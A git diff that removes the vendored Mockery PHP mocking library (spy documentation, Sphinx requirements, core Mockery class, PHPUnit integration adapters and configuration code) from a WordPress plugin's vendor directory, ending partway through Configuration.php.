$spy->shouldHaveReceived('foo', ['bar']); - -Although when verifying a method was not called, the argument matching can only -be done by supplying the array of arguments as the 2nd argument to the -``shouldNotHaveReceived()`` method: - -.. code-block:: php - - $spy->shouldNotHaveReceived('foo', ['bar']); - -This is due to Mockery's internals. - -Finally, when expecting calls that should have been received, we can also verify -the number of calls: - -.. code-block:: php - - $spy->shouldHaveReceived('foo') - ->with('bar') - ->twice(); - -Alternative shouldReceive syntax -^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - -As of Mockery 1.0.0, we support calling methods as we would call any PHP method, -and not as string arguments to Mockery ``should*`` methods. - -In cases of spies, this only applies to the ``shouldHaveReceived()`` method: - -.. code-block:: php - - $spy->shouldHaveReceived() - ->foo('bar'); - -We can set expectation on number of calls as well: - -.. code-block:: php - - $spy->shouldHaveReceived() - ->foo('bar') - ->twice(); - -Unfortunately, due to limitations we can't support the same syntax for the -``shouldNotHaveReceived()`` method. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/requirements.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/requirements.txt deleted file mode 100644 index 2f74b4c0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/requirements.txt +++ /dev/null @@ -1,25 +0,0 @@ -alabaster==0.7.16 -Babel==2.14.0 -certifi==2024.2.2 -charset-normalizer==3.3.2 -docutils==0.20.1 -idna==3.7 -imagesize==1.4.1 -Jinja2==3.1.4 -MarkupSafe==2.1.5 -packaging==24.0 -Pygments==2.17.2 -requests==2.31.0 -setuptools==69.2.0 -snowballstemmer==2.2.0 -Sphinx==7.3.7 -sphinx-rtd-theme==2.0.0 -sphinxcontrib-applehelp==1.0.8 -sphinxcontrib-devhelp==1.0.6 -sphinxcontrib-htmlhelp==2.0.5 -sphinxcontrib-jquery==4.1 -sphinxcontrib-jsmath==1.0.1 -sphinxcontrib-qthelp==1.0.7 -sphinxcontrib-serializinghtml==1.1.10 -urllib3==2.2.1 -wheel==0.43.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery.php deleted file mode 100644 index 1370cea0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery.php +++ /dev/null @@ -1,1062 +0,0 @@ - - */ - private static $_filesToCleanUp = []; - - /** - * Return instance of AndAnyOtherArgs matcher. - * - * @return AndAnyOtherArgs - */ - public static function andAnyOtherArgs() - { - return new AndAnyOtherArgs(); - } - - /** - * Return instance of AndAnyOtherArgs matcher. - * - * An alternative name to `andAnyOtherArgs` so - * the API stays closer to `any` as well. - * - * @return AndAnyOtherArgs - */ - public static function andAnyOthers() - { - return new AndAnyOtherArgs(); - } - - /** - * Return instance of ANY matcher. - * - * @return Any - */ - public static function any() - { - return new Any(); - } - - /** - * Return instance of ANYOF matcher. - * - * @template TAnyOf - * - * @param TAnyOf ...$args - * - * @return AnyOf - */ - public static function anyOf(...$args) - { - return new AnyOf($args); - } - - /** - * @return array - * - * @deprecated since 1.3.2 and will be removed in 2.0. - */ - public static function builtInTypes() - { - return ['array', 'bool', 'callable', 'float', 'int', 'iterable', 'object', 'self', 'string', 'void']; - } - - /** - * Return instance of CLOSURE matcher. - * - * @template TReference - * - * @param TReference $reference - * - * @return ClosureMatcher - */ - public static function capture(&$reference) - { - $closure = static function ($argument) use (&$reference) { - $reference = $argument; - return true; - }; - - return new ClosureMatcher($closure); - } - - /** - * Static shortcut to closing up and verifying all mocks in the global - * container, and resetting the container static variable to null. - * - * @return void - */ - public static function close() - { - foreach (self::$_filesToCleanUp as $fileName) { - @\unlink($fileName); - } - - self::$_filesToCleanUp = []; - - if (self::$_container === null) { - return; - } - - $container = self::$_container; - - self::$_container = null; - - $container->mockery_teardown(); - - $container->mockery_close(); - } - - /** - * Return instance of CONTAINS matcher. - * - * @template TContains - * - * @param TContains $args - * - * @return Contains - */ - public static function contains(...$args) - { - return new Contains($args); - } - - /** - * @param class-string $fqn - * - * @return void - */ - public static function declareClass($fqn) - { - static::declareType($fqn, 'class'); - } - - /** - * @param class-string $fqn - * - * @return void - */ - public static function declareInterface($fqn) - { - static::declareType($fqn, 'interface'); - } - - /** - * Return instance of DUCKTYPE matcher. - * - * @template TDucktype - * - * @param TDucktype ...$args - * - * @return Ducktype - */ - public static function ducktype(...$args) - { - return new Ducktype($args); - } - - /** - * Static fetching of a mock associated with a name or explicit class poser. - * - * @template TFetchMock of object - * - * @param class-string $name - * - * @return null|(LegacyMockInterface&MockInterface&TFetchMock) - */ - public static function fetchMock($name) - { - return self::getContainer()->fetchMock($name); - } - - /** - * Utility method to format method name and arguments into a string. - * - * @param string $method - * - * @return string - */ - public static function formatArgs($method, ?array $arguments = null) - { - if ($arguments === null) { - return $method . '()'; - } - - $formattedArguments = []; - foreach ($arguments as $argument) { - $formattedArguments[] = self::formatArgument($argument); - } - - return $method . '(' . \implode(', ', $formattedArguments) . ')'; - } - - /** - * Utility function to format objects to printable arrays. - * - * @return string - */ - public static function formatObjects(?array $objects = null) - { - static $formatting; - - if ($formatting) { - return '[Recursion]'; - } - - if ($objects === null) { - return ''; - } - - $objects = \array_filter($objects, 'is_object'); - if ($objects === []) { - return ''; - } - - $formatting = true; - $parts = []; - - foreach ($objects as $object) { - $parts[\get_class($object)] = self::objectToArray($object); - } - - $formatting = false; - - return 'Objects: ( ' . \var_export($parts, true) . ')'; - } - - /** - * Lazy loader and Getter for the global - * configuration container. - * - * @return Configuration - */ - public static function getConfiguration() - { - if (self::$_config === null) { - self::$_config = new Configuration(); - } - - return self::$_config; - } - - /** - * Lazy loader and getter for the container property. - * - * @return Container - */ - public static function getContainer() - { - if (self::$_container === null) { - self::$_container = new Container(self::getGenerator(), self::getLoader()); - } - - return self::$_container; - } - - /** - * Creates and returns a default generator - * used inside this class. - * - * @return CachingGenerator - */ - public static function getDefaultGenerator() - { - return new CachingGenerator(StringManipulationGenerator::withDefaultPasses()); - } - - /** - * Gets an EvalLoader to be used as default. - * - * @return EvalLoader - */ - public static function getDefaultLoader() - { - return new EvalLoader(); - } - - /** - * Lazy loader method and getter for - * the generator property. - * - * @return Generator - */ - public static function getGenerator() - { - if (self::$_generator === null) { - self::$_generator = self::getDefaultGenerator(); - } - - return self::$_generator; - } - - /** - * Lazy loader method and getter for - * the $_loader property. - * - * @return Loader - */ - public static function getLoader() - { - if (self::$_loader === null) { - self::$_loader = self::getDefaultLoader(); - } - - return self::$_loader; - } - - /** - * Defines the global helper functions - * - * @return void - */ - public static function globalHelpers() - { - require_once __DIR__ . '/helpers.php'; - } - - /** - * Return instance of HASKEY matcher. - * - * @template THasKey - * - * @param THasKey $key - * - * @return HasKey - */ - public static function hasKey($key) - { - return new HasKey($key); - } - - /** - * Return instance of HASVALUE matcher. - * - * @template THasValue - * - * @param THasValue $val - * - * @return HasValue - */ - public static function hasValue($val) - { - return new HasValue($val); - } - - /** - * Static and Semantic shortcut to Container::mock(). - * - * @template TInstanceMock - * - * @param array|TInstanceMock|array> $args - * - * @return LegacyMockInterface&MockInterface&TInstanceMock - */ - public static function instanceMock(...$args) - { - return self::getContainer()->mock(...$args); - } - - /** - * @param string $type - * - * @return bool - * - * @deprecated since 1.3.2 and will be removed in 2.0. - */ - public static function isBuiltInType($type) - { - return \in_array($type, self::builtInTypes(), true); - } - - /** - * Return instance of IsEqual matcher. - * - * @template TExpected - * - * @param TExpected $expected - */ - public static function isEqual($expected): IsEqual - { - return new IsEqual($expected); - } - - /** - * Return instance of IsSame matcher. - * - * @template TExpected - * - * @param TExpected $expected - */ - public static function isSame($expected): IsSame - { - return new IsSame($expected); - } - - /** - * Static shortcut to Container::mock(). - * - * @template TMock of object - * - * @param array|TMock|Closure(LegacyMockInterface&MockInterface&TMock):LegacyMockInterface&MockInterface&TMock|array> $args - * - * @return LegacyMockInterface&MockInterface&TMock - */ - public static function mock(...$args) - { - return self::getContainer()->mock(...$args); - } - - /** - * Return instance of MUSTBE matcher. - * - * @template TExpected - * - * @param TExpected $expected - * - * @return MustBe - */ - public static function mustBe($expected) - { - return new MustBe($expected); - } - - /** - * Static shortcut to Container::mock(), first argument names the mock. - * - * @template TNamedMock - * - * @param array|TNamedMock|array> $args - * - * @return LegacyMockInterface&MockInterface&TNamedMock - */ - public static function namedMock(...$args) - { - $name = \array_shift($args); - - $builder = new MockConfigurationBuilder(); - $builder->setName($name); - - \array_unshift($args, $builder); - - return self::getContainer()->mock(...$args); - } - - /** - * Return instance of NOT matcher. - * - * @template TNotExpected - * - * @param TNotExpected $expected - * - * @return Not - */ - public static function not($expected) - { - return new Not($expected); - } - - /** - * Return instance of NOTANYOF matcher. - * - * @template TNotAnyOf - * - * @param TNotAnyOf ...$args - * - * @return NotAnyOf - */ - public static function notAnyOf(...$args) - { - return new NotAnyOf($args); - } - - /** - * Return instance of CLOSURE matcher. - * - * @template TClosure of Closure - * - * @param TClosure $closure - * - * @return ClosureMatcher - */ - public static function on($closure) - { - return new ClosureMatcher($closure); - } - - /** - * Utility function to parse shouldReceive() arguments and generate - * expectations from such as needed. - * - * @template TReturnArgs - * - * @param TReturnArgs ...$args - * @param Closure $add - * - * @return CompositeExpectation - */ - public static function parseShouldReturnArgs(LegacyMockInterface $mock, $args, $add) - { - $composite = new CompositeExpectation(); - - foreach ($args as $arg) { - if (\is_string($arg)) { - $composite->add(self::buildDemeterChain($mock, $arg, $add)); - - continue; - } - - if (\is_array($arg)) { - foreach ($arg as $k => $v) { - $composite->add(self::buildDemeterChain($mock, $k, $add)->andReturn($v)); - } - } - } - - return $composite; - } - - /** - * Return instance of PATTERN matcher. - * - * @template TPatter - * - * @param TPatter $expected - * - * @return Pattern - */ - public static function pattern($expected) - { - return new Pattern($expected); - } - - /** - * Register a file to be deleted on tearDown. - * - * @param string $fileName - */ - public static function registerFileForCleanUp($fileName) - { - self::$_filesToCleanUp[] = $fileName; - } - - /** - * Reset the container to null. - * - * @return void - */ - public static function resetContainer() - { - self::$_container = null; - } - - /** - * Static shortcut to Container::self(). - * - * @throws LogicException - * - * @return LegacyMockInterface|MockInterface - */ - public static function self() - { - if (self::$_container === null) { - throw new LogicException('You have not declared any mocks yet'); - } - - return self::$_container->self(); - } - - /** - * Set the container. - * - * @return Container - */ - public static function setContainer(Container $container) - { - return self::$_container = $container; - } - - /** - * Setter for the $_generator static property. - */ - public static function setGenerator(Generator $generator) - { - self::$_generator = $generator; - } - - /** - * Setter for the $_loader static property. - */ - public static function setLoader(Loader $loader) - { - self::$_loader = $loader; - } - - /** - * Static and semantic shortcut for getting a mock from the container - * and applying the spy's expected behavior into it. - * - * @template TSpy - * - * @param array|TSpy|Closure(LegacyMockInterface&MockInterface&TSpy):LegacyMockInterface&MockInterface&TSpy|array> $args - * - * @return LegacyMockInterface&MockInterface&TSpy - */ - public static function spy(...$args) - { - if ($args !== [] && $args[0] instanceof Closure) { - $args[0] = new ClosureWrapper($args[0]); - } - - return self::getContainer()->mock(...$args)->shouldIgnoreMissing(); - } - - /** - * Return instance of SUBSET matcher. - * - * @param bool $strict - (Optional) True for strict comparison, false for loose - * - * @return Subset - */ - public static function subset(array $part, $strict = true) - { - return new Subset($part, $strict); - } - - /** - * Return instance of TYPE matcher. - * - * @template TExpectedType - * - * @param TExpectedType $expected - * - * @return Type - */ - public static function type($expected) - { - return new Type($expected); - } - - /** - * Sets up expectations on the members of the CompositeExpectation and - * builds up any demeter chain that was passed to shouldReceive. - * - * @param string $arg - * @param Closure $add - * - * @throws MockeryException - * - * @return ExpectationInterface - */ - protected static function buildDemeterChain(LegacyMockInterface $mock, $arg, $add) - { - $container = $mock->mockery_getContainer(); - $methodNames = \explode('->', $arg); - - \reset($methodNames); - - if ( - ! $mock->mockery_isAnonymous() - && ! self::getConfiguration()->mockingNonExistentMethodsAllowed() - && ! \in_array(\current($methodNames), $mock->mockery_getMockableMethods(), true) - ) { - throw new MockeryException( - "Mockery's configuration currently forbids mocking the method " - . \current($methodNames) . ' as it does not exist on the class or object ' - . 'being mocked' - ); - } - - /** @var Closure $nextExp */ - $nextExp = static function ($method) use ($add) { - return $add($method); - }; - - $parent = \get_class($mock); - - /** @var null|ExpectationInterface $expectations */ - $expectations = null; - while (true) { - $method = \array_shift($methodNames); - $expectations = $mock->mockery_getExpectationsFor($method); - - if ($expectations === null || self::noMoreElementsInChain($methodNames)) { - $expectations = $nextExp($method); - if (self::noMoreElementsInChain($methodNames)) { - break; - } - - $mock = self::getNewDemeterMock($container, $parent, $method, $expectations); - } else { - $demeterMockKey = $container->getKeyOfDemeterMockFor($method, $parent); - if ($demeterMockKey !== null) { - $mock = self::getExistingDemeterMock($container, $demeterMockKey); - } - } - - $parent .= '->' . $method; - - $nextExp = static function ($n) use ($mock) { - return $mock->allows($n); - }; - } - - return $expectations; - } - - /** - * Utility method for recursively generating a representation of the given array. - * - * @template TArray or array - * - * @param TArray $argument - * @param int $nesting - * - * @return TArray - */ - private static function cleanupArray($argument, $nesting = 3) - { - if ($nesting === 0) { - return '...'; - } - - foreach ($argument as $key => $value) { - if (\is_array($value)) { - $argument[$key] = self::cleanupArray($value, $nesting - 1); - - continue; - } - - if (\is_object($value)) { - $argument[$key] = self::objectToArray($value, $nesting - 1); - } - } - - return $argument; - } - - /** - * Utility method used for recursively generating - * an object or array representation. - * - * @template TArgument - * - * @param TArgument $argument - * @param int $nesting - * - * @return mixed - */ - private static function cleanupNesting($argument, $nesting) - { - if (\is_object($argument)) { - $object = self::objectToArray($argument, $nesting - 1); - $object['class'] = \get_class($argument); - - return $object; - } - - if (\is_array($argument)) { - return self::cleanupArray($argument, $nesting - 1); - } - - return $argument; - } - - /** - * @param string $fqn - * @param string $type - */ - private static function declareType($fqn, $type): void - { - $targetCode = ' - */ - private static function extractInstancePublicProperties($object, $nesting) - { - $reflection = new ReflectionClass($object); - $properties = $reflection->getProperties(ReflectionProperty::IS_PUBLIC); - $cleanedProperties = []; - - foreach ($properties as $publicProperty) { - if (! $publicProperty->isStatic()) { - $name = $publicProperty->getName(); - try { - $cleanedProperties[$name] = self::cleanupNesting($object->{$name}, $nesting); - } catch (Exception $exception) { - $cleanedProperties[$name] = $exception->getMessage(); - } - } - } - - return $cleanedProperties; - } - - /** - * Gets the string representation - * of any passed argument. - * - * @param mixed $argument - * @param int $depth - * - * @return mixed - */ - private static function formatArgument($argument, $depth = 0) - { - if ($argument instanceof MatcherInterface) { - return (string) $argument; - } - - if (\is_object($argument)) { - return 'object(' . \get_class($argument) . ')'; - } - - if (\is_int($argument) || \is_float($argument)) { - return $argument; - } - - if (\is_array($argument)) { - if ($depth === 1) { - $argument = '[...]'; - } else { - $sample = []; - foreach ($argument as $key => $value) { - $key = \is_int($key) ? $key : \sprintf("'%s'", $key); - $value = self::formatArgument($value, $depth + 1); - $sample[] = \sprintf('%s => %s', $key, $value); - } - - $argument = '[' . \implode(', ', $sample) . ']'; - } - - return (\strlen($argument) > 1000) ? \substr($argument, 0, 1000) . '...]' : $argument; - } - - if (\is_bool($argument)) { - return $argument ? 'true' : 'false'; - } - - if (\is_resource($argument)) { - return 'resource(...)'; - } - - if ($argument === null) { - return 'NULL'; - } - - return "'" . $argument . "'"; - } - - /** - * Gets a specific demeter mock from the ones kept by the container. - * - * @template TMock of object - * - * @param class-string $demeterMockKey - * - * @return null|(LegacyMockInterface&MockInterface&TMock) - */ - private static function getExistingDemeterMock(Container $container, $demeterMockKey) - { - return $container->getMocks()[$demeterMockKey] ?? null; - } - - /** - * Gets a new demeter configured - * mock from the container. - * - * @param string $parent - * @param string $method - * - * @return LegacyMockInterface&MockInterface - */ - private static function getNewDemeterMock(Container $container, $parent, $method, ExpectationInterface $exp) - { - $newMockName = 'demeter_' . \md5($parent) . '_' . $method; - - $parRef = null; - - $parentMock = $exp->getMock(); - if ($parentMock !== null) { - $parRef = new ReflectionObject($parentMock); - } - - if ($parRef instanceof ReflectionObject && $parRef->hasMethod($method)) { - $parRefMethod = $parRef->getMethod($method); - $parRefMethodRetType = Reflector::getReturnType($parRefMethod, true); - - if ($parRefMethodRetType !== null) { - $returnTypes = \explode('|', $parRefMethodRetType); - - $filteredReturnTypes = array_filter($returnTypes, static function (string $type): bool { - return ! Reflector::isReservedWord($type); - }); - - if ($filteredReturnTypes !== []) { - $nameBuilder = new MockNameBuilder(); - - $nameBuilder->addPart('\\' . $newMockName); - - $mock = self::namedMock( - $nameBuilder->build(), - ...$filteredReturnTypes - ); - - $exp->andReturn($mock); - - return $mock; - } - } - } - - $mock = $container->mock($newMockName); - $exp->andReturn($mock); - - return $mock; - } - - /** - * Checks if the passed array representing a demeter - * chain with the method names is empty. - * - * @return bool - */ - private static function noMoreElementsInChain(array $methodNames) - { - return $methodNames === []; - } - - /** - * Utility function to turn public properties and public get* and is* method values into an array. - * - * @param object $object - * @param int $nesting - * - * @return array - */ - private static function objectToArray($object, $nesting = 3) - { - if ($nesting === 0) { - return ['...']; - } - - $defaultFormatter = static function ($object, $nesting) { - return [ - 'properties' => self::extractInstancePublicProperties($object, $nesting), - ]; - }; - - $class = \get_class($object); - - $formatter = self::getConfiguration()->getObjectFormatter($class, $defaultFormatter); - - $array = [ - 'class' => $class, - 'identity' => '#' . \md5(\spl_object_hash($object)), - ]; - - return \array_merge($array, $formatter($object, $nesting)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegration.php deleted file mode 100644 index a6d5b8fe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegration.php +++ /dev/null @@ -1,86 +0,0 @@ -addToAssertionCount(Mockery::getContainer()->mockery_getExpectationCount()); - } - - protected function checkMockeryExceptions() - { - if (! method_exists($this, 'markAsRisky')) { - return; - } - - foreach (Mockery::getContainer()->mockery_thrownExceptions() as $e) { - if (! $e->dismissed()) { - $this->markAsRisky(); - } - } - } - - protected function closeMockery() - { - Mockery::close(); - $this->mockeryOpen = false; - } - - /** - * Performs assertions shared by all tests of a test case. This method is - * called before execution of a test ends and before the tearDown method. - */ - protected function mockeryAssertPostConditions() - { - $this->addMockeryExpectationsToAssertionCount(); - $this->checkMockeryExceptions(); - $this->closeMockery(); - - parent::assertPostConditions(); - } - - /** - * @after - */ - #[After] - protected function purgeMockeryContainer() - { - if ($this->mockeryOpen) { - // post conditions wasn't called, so test probably failed - Mockery::close(); - } - } - - /** - * @before - */ - #[Before] - protected function startMockery() - { - $this->mockeryOpen = true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegrationAssertPostConditions.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegrationAssertPostConditions.php deleted file mode 100644 index e4a80b5f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegrationAssertPostConditions.php +++ /dev/null @@ -1,21 +0,0 @@ -mockeryAssertPostConditions(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryTestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryTestCase.php deleted file mode 100644 index 942f1c08..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryTestCase.php +++ /dev/null @@ -1,27 +0,0 @@ -mockeryTestSetUp(); - } - - protected function tearDown(): void - { - $this->mockeryTestTearDown(); - parent::tearDown(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListener.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListener.php deleted file mode 100644 index 1ae84583..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListener.php +++ /dev/null @@ -1,38 +0,0 @@ -trait = new TestListenerTrait(); - } - - public function endTest(Test $test, float $time): void - { - $this->trait->endTest($test, $time); - } - - public function startTestSuite(TestSuite $suite): void - { - $this->trait->startTestSuite(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListenerTrait.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListenerTrait.php deleted file mode 100644 index 45c6b3f1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListenerTrait.php +++ /dev/null @@ -1,84 +0,0 @@ -getStatus() !== BaseTestRunner::STATUS_PASSED) { - // If the test didn't pass there is no guarantee that - // verifyMockObjects and assertPostConditions have been called. - // And even if it did, the point here is to prevent false - // negatives, not to make failing tests fail for more reasons. - return; - } - - try { - // The self() call is used as a sentinel. Anything that throws if - // the container is closed already will do. - Mockery::self(); - } catch (LogicException $logicException) { - return; - } - - $e = new ExpectationFailedException( - sprintf( - "Mockery's expectations have not been verified. Make sure that \Mockery::close() is called at the end of the test. Consider using %s\MockeryPHPUnitIntegration or extending %s\MockeryTestCase.", - __NAMESPACE__, - __NAMESPACE__ - ) - ); - - /** @var \PHPUnit\Framework\TestResult $result */ - $result = $test->getTestResultObject(); - - if ($result !== null) { - $result->addFailure($test, $e, $time); - } - } - - public function startTestSuite() - { - if (method_exists(Blacklist::class, 'addDirectory')) { - (new Blacklist())->getBlacklistedDirectories(); - Blacklist::addDirectory(dirname((new ReflectionClass(Mockery::class))->getFileName())); - } else { - Blacklist::$blacklistedClassNames[Mockery::class] = 1; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ClosureWrapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ClosureWrapper.php deleted file mode 100644 index fae88712..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ClosureWrapper.php +++ /dev/null @@ -1,36 +0,0 @@ -closure = $closure; - } - - /** - * @return mixed - */ - public function __invoke() - { - return ($this->closure)(...func_get_args()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CompositeExpectation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CompositeExpectation.php deleted file mode 100644 index fa03c399..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CompositeExpectation.php +++ /dev/null @@ -1,150 +0,0 @@ - - */ - protected $_expectations = []; - - /** - * Intercept any expectation calls and direct against all expectations - * - * @param string $method - * - * @return self - */ - public function __call($method, array $args) - { - foreach ($this->_expectations as $expectation) { - $expectation->{$method}(...$args); - } - - return $this; - } - - /** - * Return the string summary of this composite expectation - * - * @return string - */ - public function __toString() - { - $parts = array_map(static function (ExpectationInterface $expectation): string { - return (string) $expectation; - }, $this->_expectations); - - return '[' . implode(', ', $parts) . ']'; - } - - /** - * Add an expectation to the composite - * - * @param ExpectationInterface|HigherOrderMessage $expectation - * - * @return void - */ - public function add($expectation) - { - $this->_expectations[] = $expectation; - } - - /** - * @param mixed ...$args - */ - public function andReturn(...$args) - { - return $this->__call(__FUNCTION__, $args); - } - - /** - * Set a return value, or sequential queue of return values - * - * @param mixed ...$args - * - * @return self - */ - public function andReturns(...$args) - { - return $this->andReturn(...$args); - } - - /** - * Return the parent mock of the first expectation - * - * @return LegacyMockInterface&MockInterface - */ - public function getMock() - { - reset($this->_expectations); - $first = current($this->_expectations); - return $first->getMock(); - } - - /** - * Return order number of the first expectation - * - * @return int - */ - public function getOrderNumber() - { - reset($this->_expectations); - $first = current($this->_expectations); - return $first->getOrderNumber(); - } - - /** - * Mockery API alias to getMock - * - * @return LegacyMockInterface&MockInterface - */ - public function mock() - { - return $this->getMock(); - } - - /** - * Starts a new expectation addition on the first mock which is the primary target outside of a demeter chain - * - * @param mixed ...$args - * - * @return Expectation - */ - public function shouldNotReceive(...$args) - { - reset($this->_expectations); - $first = current($this->_expectations); - return $first->getMock()->shouldNotReceive(...$args); - } - - /** - * Starts a new expectation addition on the first mock which is the primary target, outside of a demeter chain - * - * @param mixed ...$args - * - * @return Expectation - */ - public function shouldReceive(...$args) - { - reset($this->_expectations); - $first = current($this->_expectations); - return $first->getMock()->shouldReceive(...$args); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Configuration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Configuration.php deleted file mode 100644 index d415d9e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Configuration.php +++ /dev/null @@ -1,406 +0,0 @@ - ['MY_CONST' => 123, 'OTHER_CONST' => 'foo']] - * - * @var array|scalar>> - */ - protected $_constantsMap = []; - - /** - * Default argument matchers - * - * e.g. ['class' => 'matcher'] - * - * @var array - */ - protected $_defaultMatchers = []; - - /** - * Parameter map for use with PHP internal classes. - * - * e.g. ['class' => ['method' => ['param1', 'param2']]] - * - * @var array>> - */ - protected $_internalClassParamMap = []; - - /** - * Custom object formatters - * - * e.g. ['class' => static fn($object) => 'formatted'] - * - * @var array - */ - protected $_objectFormatters = []; - - /** - * @var QuickDefinitionsConfiguration - */ - protected $_quickDefinitionsConfiguration; - - /** - * Boolean assertion is reflection caching enabled or not. It should be - * always enabled, except when using PHPUnit's --static-backup option. - * - * @see https://github.com/mockery/mockery/issues/268 - */ - protected $_reflectionCacheEnabled = true; - - public function __construct() - { - $this->_quickDefinitionsConfiguration = new QuickDefinitionsConfiguration(); - } - - /** - * Set boolean to allow/prevent unnecessary mocking of methods - * - * @param bool $flag - * - * @return void - * - * @deprecated since 1.4.0 - */ - public function allowMockingMethodsUnnecessarily($flag = true) - { - @trigger_error( - sprintf('The %s method is deprecated and will be removed in a future version of Mockery', __METHOD__), - E_USER_DEPRECATED - ); - - $this->_allowMockingMethodsUnnecessarily = (bool) $flag; - } - - /** - * Set boolean to allow/prevent mocking of non-existent methods - * - * @param bool $flag - * - * @return void - */ - public function allowMockingNonExistentMethods($flag = true) - { - $this->_allowMockingNonExistentMethod = (bool) $flag; - } - - /** - * Disable reflection caching - * - * It should be always enabled, except when using - * PHPUnit's --static-backup option. - * - * @see https://github.com/mockery/mockery/issues/268 - * - * @return void - */ - public function disableReflectionCache() - { - $this->_reflectionCacheEnabled = false; - } - - /** - * Enable reflection caching - * - * It should be always enabled, except when using - * PHPUnit's --static-backup option. - * - * @see https://github.com/mockery/mockery/issues/268 - * - * @return void - */ - public function enableReflectionCache() - { - $this->_reflectionCacheEnabled = true; - } - - /** - * Get the map of constants to be used in the mock generator - * - * @return array|scalar>> - */ - public function getConstantsMap() - { - return $this->_constantsMap; - } - - /** - * Get the default matcher for a given class - * - * @param class-string $class - * - * @return null|class-string - */ - public function getDefaultMatcher($class) - { - $classes = []; - - $parentClass = $class; - - do { - $classes[] = $parentClass; - - $parentClass = get_parent_class($parentClass); - } while ($parentClass !== false); - - $classesAndInterfaces = array_merge($classes, class_implements($class)); - - foreach ($classesAndInterfaces as $type) { - if (array_key_exists($type, $this->_defaultMatchers)) { - return $this->_defaultMatchers[$type]; - } - } - - return null; - } - - /** - * Get the parameter map of an internal PHP class method - * - * @param class-string $class - * @param string $method - * - * @return null|array - */ - public function getInternalClassMethodParamMap($class, $method) - { - $class = strtolower($class); - $method = strtolower($method); - if (! array_key_exists($class, $this->_internalClassParamMap)) { - return null; - } - - if (! array_key_exists($method, $this->_internalClassParamMap[$class])) { - return null; - } - - return $this->_internalClassParamMap[$class][$method]; - } - - /** - * Get the parameter maps of internal PHP classes - * - * @return array>> - */ - public function getInternalClassMethodParamMaps() - { - return $this->_internalClassParamMap; - } - - /** - * Get the object formatter for a class - * - * @param class-string $class - * @param Closure $defaultFormatter - * - * @return Closure - */ - public function getObjectFormatter($class, $defaultFormatter) - { - $parentClass = $class; - - do { - $classes[] = $parentClass; - - $parentClass = get_parent_class($parentClass); - } while ($parentClass !== false); - - $classesAndInterfaces = array_merge($classes, class_implements($class)); - - foreach ($classesAndInterfaces as $type) { - if (array_key_exists($type, $this->_objectFormatters)) { - return $this->_objectFormatters[$type]; - } - } - - return $defaultFormatter; - } - - /** - * Returns the quick definitions configuration - */ - public function getQuickDefinitions(): QuickDefinitionsConfiguration - { - return $this->_quickDefinitionsConfiguration; - } - - /** - * Return flag indicating whether mocking non-existent methods allowed - * - * @return bool - * - * @deprecated since 1.4.0 - */ - public function mockingMethodsUnnecessarilyAllowed() - { - @trigger_error( - sprintf('The %s 